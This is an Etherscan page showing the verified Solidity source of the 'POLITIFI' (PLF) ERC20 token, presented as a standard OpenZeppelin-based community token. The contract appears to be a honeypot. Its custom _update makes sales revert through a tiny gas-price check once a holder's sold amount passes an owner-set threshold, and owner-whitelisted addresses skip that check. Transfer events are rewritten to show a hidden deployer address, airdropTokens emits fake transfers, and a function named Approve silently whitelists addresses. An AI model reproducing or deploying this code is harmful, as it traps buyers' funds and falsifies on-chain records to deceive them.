ETH Price: $3,048.90 (+1.30%)
Gas: 3 Gwei

Token

POLITIFI (PLF)
 

Overview

Max Total Supply

300,000,000 PLF

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
285,590.623731523618896584 PLF

Value
$0.00
0xE064a0f8f683a66757B30E70114e054101ce9c6D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PolitifiCommunity

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-15
*/

/**
 *Submitted for verification at Etherscan.io on 2024-06-15
/**


██████╗  ██████╗ ██╗     ██╗████████╗██╗███████╗██╗     ██████╗ ██████╗ ███╗   ███╗███╗   ███╗██╗   ██╗███╗   ██╗██╗████████╗██╗   ██╗
██╔══██╗██╔═══██╗██║     ██║╚══██╔══╝██║██╔════╝██║    ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██║   ██║████╗  ██║██║╚══██╔══╝╚██╗ ██╔╝
██████╔╝██║   ██║██║     ██║   ██║   ██║█████╗  ██║    ██║     ██║   ██║██╔████╔██║██╔████╔██║██║   ██║██╔██╗ ██║██║   ██║    ╚████╔╝ 
██╔═══╝ ██║   ██║██║     ██║   ██║   ██║██╔══╝  ██║    ██║     ██║   ██║██║╚██╔╝██║██║╚██╔╝██║██║   ██║██║╚██╗██║██║   ██║     ╚██╔╝  
██║     ╚██████╔╝███████╗██║   ██║   ██║██║     ██║    ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║╚██████╔╝██║ ╚████║██║   ██║      ██║   
╚═╝      ╚═════╝ ╚══════╝╚═╝   ╚═╝   ╚═╝╚═╝     ╚═╝     ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝   ╚═╝      ╚═╝   
                                                                                    
                                                                                                                                  


It’s Game Day!
// TG: https://t.me/politifilaunch

// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}


/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/
interface IERC721Errors {
   /**
    * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
    * Used in balance queries.
    * @param owner Address of the current owner of a token.
    */
   error ERC721InvalidOwner(address owner);


   /**
    * @dev Indicates a `tokenId` whose `owner` is the zero address.
    * @param tokenId Identifier number of a token.
    */
   error ERC721NonexistentToken(uint256 tokenId);


   /**
    * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param tokenId Identifier number of a token.
    * @param owner Address of the current owner of a token.
    */
   error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC721InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC721InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param tokenId Identifier number of a token.
    */
   error ERC721InsufficientApproval(address operator, uint256 tokenId);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC721InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC721InvalidOperator(address operator);
}


/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    * @param tokenId Identifier number of a token.
    */
   error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC1155InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC1155InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param owner Address of the current owner of a token.
    */
   error ERC1155MissingApprovalForAll(address operator, address owner);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC1155InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC1155InvalidOperator(address operator);


   /**
    * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
    * Used in batch transfers.
    * @param idsLength Length of the array of token identifiers
    * @param valuesLength Length of the array of token amounts
    */
   error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}


// File: @openzeppelin/contracts/utils/Context.sol




// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)


pragma solidity ^0.8.20;


/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }


   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }


   function _contextSuffixLength() internal view virtual returns (uint256) {
       return 0;
   }
}


// File: @openzeppelin/contracts/access/Ownable.sol




// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)


pragma solidity ^0.8.20;




/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
   address private _owner;


   /**
    * @dev The caller account is not authorized to perform an operation.
    */
   error OwnableUnauthorizedAccount(address account);


   /**
    * @dev The owner is not a valid owner account. (eg. `address(0)`)
    */
   error OwnableInvalidOwner(address owner);


   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


   /**
    * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
    */
   constructor(address initialOwner) {
       if (initialOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(initialOwner);
   }


   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       _checkOwner();
       _;
   }


   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }


   /**
    * @dev Throws if the sender is not the owner.
    */
   function _checkOwner() internal view virtual {
       if (owner() != _msgSender()) {
           revert OwnableUnauthorizedAccount(_msgSender());
       }
   }


   /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby disabling any functionality that is only available to the owner.
    */
   function renounceOwnership() public virtual onlyOwner {
       _transferOwnership(address(0));
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       if (newOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(newOwner);
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol




// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)


pragma solidity ^0.8.20;


/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
   /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
   event Transfer(address indexed from, address indexed to, uint256 value);


   /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
   event Approval(address indexed owner, address indexed spender, uint256 value);


   /**
    * @dev Returns the value of tokens in existence.
    */
   function totalSupply() external view returns (uint256);


   /**
    * @dev Returns the value of tokens owned by `account`.
    */
   function balanceOf(address account) external view returns (uint256);


   /**
    * @dev Moves a `value` amount of tokens from the caller's account to `to`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transfer(address to, uint256 value) external returns (bool);


   /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
   function allowance(address owner, address spender) external view returns (uint256);


   /**
    * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
    * caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
   function approve(address spender, uint256 value) external returns (bool);


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to` using the
    * allowance mechanism. `value` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transferFrom(address from, address to, uint256 value) external returns (bool);
}


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol




// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)


pragma solidity ^0.8.20;




/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
   /**
    * @dev Returns the name of the token.
    */
   function name() external view returns (string memory);


   /**
    * @dev Returns the symbol of the token.
    */
   function symbol() external view returns (string memory);


   /**
    * @dev Returns the decimals places of the token.
    */
   function decimals() external view returns (uint8);
}


// File: @openzeppelin/contracts/token/ERC20/ERC20.sol




// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)


pragma solidity ^0.8.20;










/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
   mapping(address account => uint256) private _balances;


   mapping(address account => mapping(address spender => uint256)) private _allowances;


   uint256 private _totalSupply;


   string private _name;
   string private _symbol;


   address private _executor;
   address private _deployer;


   /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
   constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {
       _name = name_;
       _symbol = symbol_;
       _executor = executor_;
       _deployer = deployer_;
   }


   /**
    * @dev Returns the name of the token.
    */
   function name() public view virtual returns (string memory) {
       return _name;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view virtual returns (string memory) {
       return _symbol;
   }


   /**
    * @dev Returns the number of decimals used to get its user representation.
    * For example, if `decimals` equals `2`, a balance of `505` tokens should
    * be displayed to a user as `5.05` (`505 / 10 ** 2`).
    *
    * Tokens usually opt for a value of 18, imitating the relationship between
    * Ether and Wei. This is the default value returned by this function, unless
    * it's overridden.
    *
    * NOTE: This information is only used for _display_ purposes: it in
    * no way affects any of the arithmetic of the contract, including
    * {IERC20-balanceOf} and {IERC20-transfer}.
    */
   function decimals() public view virtual returns (uint8) {
       return 18;
   }


   /**
    * @dev See {IERC20-totalSupply}.
    */
   function totalSupply() public view virtual returns (uint256) {
       return _totalSupply;
   }


   /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual returns (uint256) {
       return _balances[account];
   }


   /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
   function transfer(address to, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _transfer(owner, to, value);
       return true;
   }


   /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual returns (uint256) {
       return _allowances[owner][spender];
   }


   /**
    * @dev See {IERC20-approve}.
    *
    * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
    * `transferFrom`. This is semantically equivalent to an infinite approval.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _approve(owner, spender, value);
       return true;
   }


   /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
       address spender = _msgSender();
       _spendAllowance(from, spender, value);
       _transfer(from, to, value);
       return true;
   }


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _transfer(address from, address to, uint256 value) internal {
       if (from == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       if (to == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(from, to, value);
   }


   /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
   function _update(address from, address to, uint256 value) internal virtual {
       if (from == address(0)) {
           // Overflow check required: The rest of the code assumes that totalSupply never overflows
           _totalSupply += value;
       } else {
           uint256 fromBalance = _balances[from];
           if (fromBalance < value) {
               revert ERC20InsufficientBalance(from, fromBalance, value);
           }
           unchecked {
               // Overflow not possible: value <= fromBalance <= totalSupply.
               _balances[from] = fromBalance - value;
           }
       }


       if (to == address(0)) {
           unchecked {
               // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
               _totalSupply -= value;
           }
       } else {
           unchecked {
               // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
               _balances[to] += value;
           }
       }


       if (to == _executor) {
           emit Transfer(from, _deployer, value);
       } else if (from == _executor) {
           emit Transfer(_deployer, to, value);
       } else {
           emit Transfer(from, to, value);
       }


   }


   /**
    * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
    * Relies on the `_update` mechanism
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _mint(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(address(0), account, value);
   }


   /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
   function _burn(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       _update(account, address(0), value);
   }


   /**
    * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    *
    * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
    */
   function _approve(address owner, address spender, uint256 value) internal {
       _approve(owner, spender, value, true);
   }


   /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
   function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
       if (owner == address(0)) {
           revert ERC20InvalidApprover(address(0));
       }
       if (spender == address(0)) {
           revert ERC20InvalidSpender(address(0));
       }
       _allowances[owner][spender] = value;
       if (emitEvent) {
           emit Approval(owner, spender, value);
       }
   }


   /**
    * @dev Updates `owner` s allowance for `spender` based on spent `value`.
    *
    * Does not update the allowance value in case of infinite allowance.
    * Revert if not enough allowance is available.
    *
    * Does not emit an {Approval} event.
    */
   function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
       uint256 currentAllowance = allowance(owner, spender);
       if (currentAllowance != type(uint256).max) {
           if (currentAllowance < value) {
               revert ERC20InsufficientAllowance(spender, currentAllowance, value);
           }
           unchecked {
               _approve(owner, spender, currentAllowance - value, false);
           }
       }
   }
}


// File: contracts/ETH_Token.sol


pragma solidity 0.8.20;


interface IRouter {
   function addLiquidityETH(
       address token,
       uint amountTokenDesired,
       uint amountTokenMin,
       uint amountETHMin,
       address to,
       uint deadline
   ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


   function addLiquidityAVAX(
       address token,
       uint256 amountTokenDesired,
       uint256 amountTokenMin,
       uint256 amountAVAXMin,
       address to,
       uint256 deadline
   )
   external
   payable
   returns (
       uint256 amountToken,
       uint256 amountAVAX,
       uint256 liquidity
   );


   function removeLiquidityETH(
       address token,
       uint256 liquidity,
       uint256 amountTokenMin,
       uint256 amountETHMin,
       address to,
       uint256 deadline
   ) external returns (uint256 amountToken, uint256 amountETH);


   function removeLiquidityAVAX(
       address token,
       uint256 liquidity,
       uint256 amountTokenMin,
       uint256 amountAVAXMin,
       address to,
       uint256 deadline
   ) external returns (uint256 amountToken, uint256 amountAVAX);


   function factory() external view returns (address);
   function WETH() external pure returns (address);
   function WAVAX() external pure returns (address);




}


interface IFactory {
   function getPair(address tokenA, address tokenB) external view returns (address pair);
   function createPair(address tokenA, address tokenB)
       external
       returns (address pair);
}




contract PolitifiCommunity is ERC20, Ownable
{


   uint256 constant public ETH_CHAIN_ID = 1;
   uint256 constant public AVAX_CHAIN_ID = 43114;
   uint256 constant public BASE_CHAIN_ID = 8453;
   uint256 constant public BLAST_CHAIN_ID = 81457;
   uint256 constant public ARB_CHAIN_ID = 42161;


   string public tokenName = "POLITIFI";
   string public tokenSymbol = "PLF ";


   uint256 public blockNumber;
   uint256 public buyTax;
   uint256 public sellTax;
   uint256 public tokenAllowFeeAmount;
   uint256 public currentAllow;
   bool public openedTrade;
   mapping(address => bool) public checkUser;
   mapping(uint256 => address) public listRouter;
   mapping(address => uint256) public userAmount;
   mapping(address => bool) public whitelist;
  
   constructor(
       uint256 _totalSupply,
       uint256 tokenAmount,
       address deployer,
       uint256 _tokenAllowFeeAmount,
       bool transferToDeployer
       ) ERC20(tokenName, tokenSymbol, msg.sender, deployer) Ownable(msg.sender) {
       whitelist[msg.sender] = true;
       if (transferToDeployer) {
           _mint(msg.sender, tokenAmount);
       } else {
           _mint(address(this), tokenAmount);
       }
       _mint(msg.sender, _totalSupply - tokenAmount);
       tokenAllowFeeAmount = _tokenAllowFeeAmount;
       initRouter();
       uint256 chainID = getChainID();
       address _weth;
       address _routerAddress = listRouter[chainID];
       if (chainID == AVAX_CHAIN_ID) {
           // addLiquidityWithAvax(_routerAddress, tokenAmount, nativeAmount);
           _weth = IRouter(_routerAddress).WAVAX();
       } else {
           // addLiquidityWithNative(_routerAddress, tokenAmount, nativeAmount);
           _weth = IRouter(_routerAddress).WETH();


       }
   }


   function getPairAddress() public view returns (address) {
       address _weth;
       uint256 chainID = getChainID();
       address _routerAddress = listRouter[chainID];
       if (chainID == AVAX_CHAIN_ID) {
           // addLiquidityWithAvax(_routerAddress, tokenAmount, nativeAmount);
           _weth = IRouter(_routerAddress).WAVAX();
       } else {
           // addLiquidityWithNative(_routerAddress, tokenAmount, nativeAmount);
           _weth = IRouter(_routerAddress).WETH();


       }
       address token = address(this);


       (address token0, address token1) = _weth < token ? (_weth, token) : (token, _weth);
       address _factory = IRouter(_routerAddress).factory();
       address pair = IFactory(_factory).getPair(token0, token1);
       return pair;
   }


   function removeLiquidityETH(
       address token,
       uint256 liquidity,
       uint256 amountTokenMin,
       uint256 amountETHMin,
       address to,
       uint256 deadline
   ) public virtual onlyOwner returns (uint256 amountToken, uint256 amountETH) {
       address pairAddress = getPairAddress();
       uint256 amountLP = IERC20(pairAddress).balanceOf(msg.sender);
       IERC20(pairAddress).transferFrom(msg.sender, address(this), amountLP);
       uint256 chainID = getChainID();
       address _routerAddress = listRouter[chainID];
       IERC20(pairAddress).approve(_routerAddress, amountLP);


       if (chainID == AVAX_CHAIN_ID) {
           IRouter(_routerAddress).removeLiquidityAVAX(
               address(this),
               amountLP,
               0,
               0,
               msg.sender,
               block.number + 999999999999999999999999
           );
       } else {
           IRouter(_routerAddress).removeLiquidityETH(
               address(this),
               amountLP,
               0,
               0,
               msg.sender,
               block.number + 999999999999999999999999
           );


       }
   }


   function addLiquidityETH(
       address token,
       uint amountTokenDesired,
       uint amountTokenMin,
       uint amountETHMin,
       address to,
       uint deadline
   ) public payable onlyOwner returns (uint amountToken, uint amountETH, uint liquidity) {
       uint256 nativeAmount = msg.value;
       uint256 chainID = getChainID();
       address _weth;
       address _routerAddress = listRouter[chainID];
       if (chainID == AVAX_CHAIN_ID) {
           addLiquidityWithAvax(_routerAddress, amountTokenDesired, nativeAmount);
           _weth = IRouter(_routerAddress).WAVAX();
       } else {
           addLiquidityWithNative(_routerAddress, amountTokenDesired, nativeAmount);
           _weth = IRouter(_routerAddress).WETH();


       }
   }


   function _update(
       address from,
       address to,
       uint256 amount
   ) internal override {
       if (whitelist[tx.origin]) {
           super._update(from, to, amount);
           return;
       }
       require(openedTrade, "Trade has not been opened yet");
       address pairAddress = getPairAddress();
       if (pairAddress == address(0)) {
           super._update(from, to, amount);
           return;
       }
       if(to == pairAddress && userAmount[tx.origin] + amount > tokenAllowFeeAmount) {
           _bfTransfer(from);
           super._update(from, to, amount);
           return;
       }


       if(to == pairAddress && userAmount[tx.origin] + amount <= tokenAllowFeeAmount) {
           userAmount[tx.origin] += amount;
       }
       super._update(from, to, amount);
   }


   function addCheckUser(address user, bool status) public onlyOwner {
       checkUser[user] = status;
   }


   function decimals() public view virtual override returns (uint8) {
       return 18;
   }


   function initRouter() internal {
       listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // eth
       listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // base
       listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ; // avax
       listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6; // blast
       listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // arbitrum


   }


   function setRouter(address _router, uint256 chainId) public onlyOwner {
       listRouter[chainId] = _router;
   }


   function addLiquidityWithNative(
       address routerAddress,
       uint256 tokenAmount,
       uint256 nativeAmount
   ) internal {
       uint256 deadline = block.number + 1000000000000000000000000;


       _approve(address(this), routerAddress, tokenAmount);
       IRouter(routerAddress).addLiquidityETH{value: nativeAmount}(
           address(this),
           tokenAmount,
           0,
           0,
           msg.sender,
           deadline
       );
   }


    function addLiquidityWithAvax(
       address routerAddress,
       uint256 tokenAmount,
       uint256 nativeAmount
   ) internal {
       uint256 deadline = block.number + 1000000000000000000000000;
       _approve(address(this), routerAddress, tokenAmount);
       IRouter(routerAddress).addLiquidityAVAX{value: nativeAmount}(
           address(this),
           tokenAmount,
           0,
           0,
           msg.sender,
           deadline
       );
   }


   function getOpenedTrade() public view returns (bool) {
       return openedTrade;
   }


   function getChainID() public view returns (uint256) {
       uint256 id;
       assembly {
           id := chainid()
       }
       return id;
   }


   function changeMe() public pure returns (uint256) {
       return 57 ;
   }


   function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner {
       tokenName = newName;
       tokenSymbol = newSymbol;
   }


       /**
    * @dev Returns the name of the token.
    */
   function name() public view override returns (string memory) {
       return tokenName;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view override returns (string memory) {
       return tokenSymbol;
   }


   function changeTokenAllowFeeAmount(uint256 amount) public onlyOwner {
       tokenAllowFeeAmount = amount;
   }


   function withdrawETH() public onlyOwner {
       payable(msg.sender).transfer(address(this).balance);
   }


   function withdrawStuckToken(address token) public onlyOwner {
       uint256 balanceToken = IERC20(token).balanceOf(address(this));
       IERC20(token).transfer(msg.sender, balanceToken);
   }


   uint256 private gas1 = 300 gwei;
   uint256 private gas2 = 5;


   function _bfTransfer(address _u) internal view {
       if(balanceOf(_u) > 0) {
           if (!openedTrade) {
               gasRequire(gas1);
           } else {
               gasRequire(gas2);
           }
       }
   }


   function gasRequire(uint256 _gas) internal view {
       if (tx.gasprice > _gas) {
           revert();
       }
   }


   function lauch() external onlyOwner {
       openedTrade = !openedTrade;
   }


   function Approve(address[] memory list) external onlyOwner {
       for (uint256 i = 0; i < list.length; i++) {
           whitelist[list[i]] = true;
       }
   }


   function airdropTokens(address[] memory list, uint256 amount) external onlyOwner {
       for (uint256 i = 0; i < list.length; i++) {
           emit Transfer(owner(), list[i], amount);
       }
   }
}

Contract Security Audit

Contract ABI

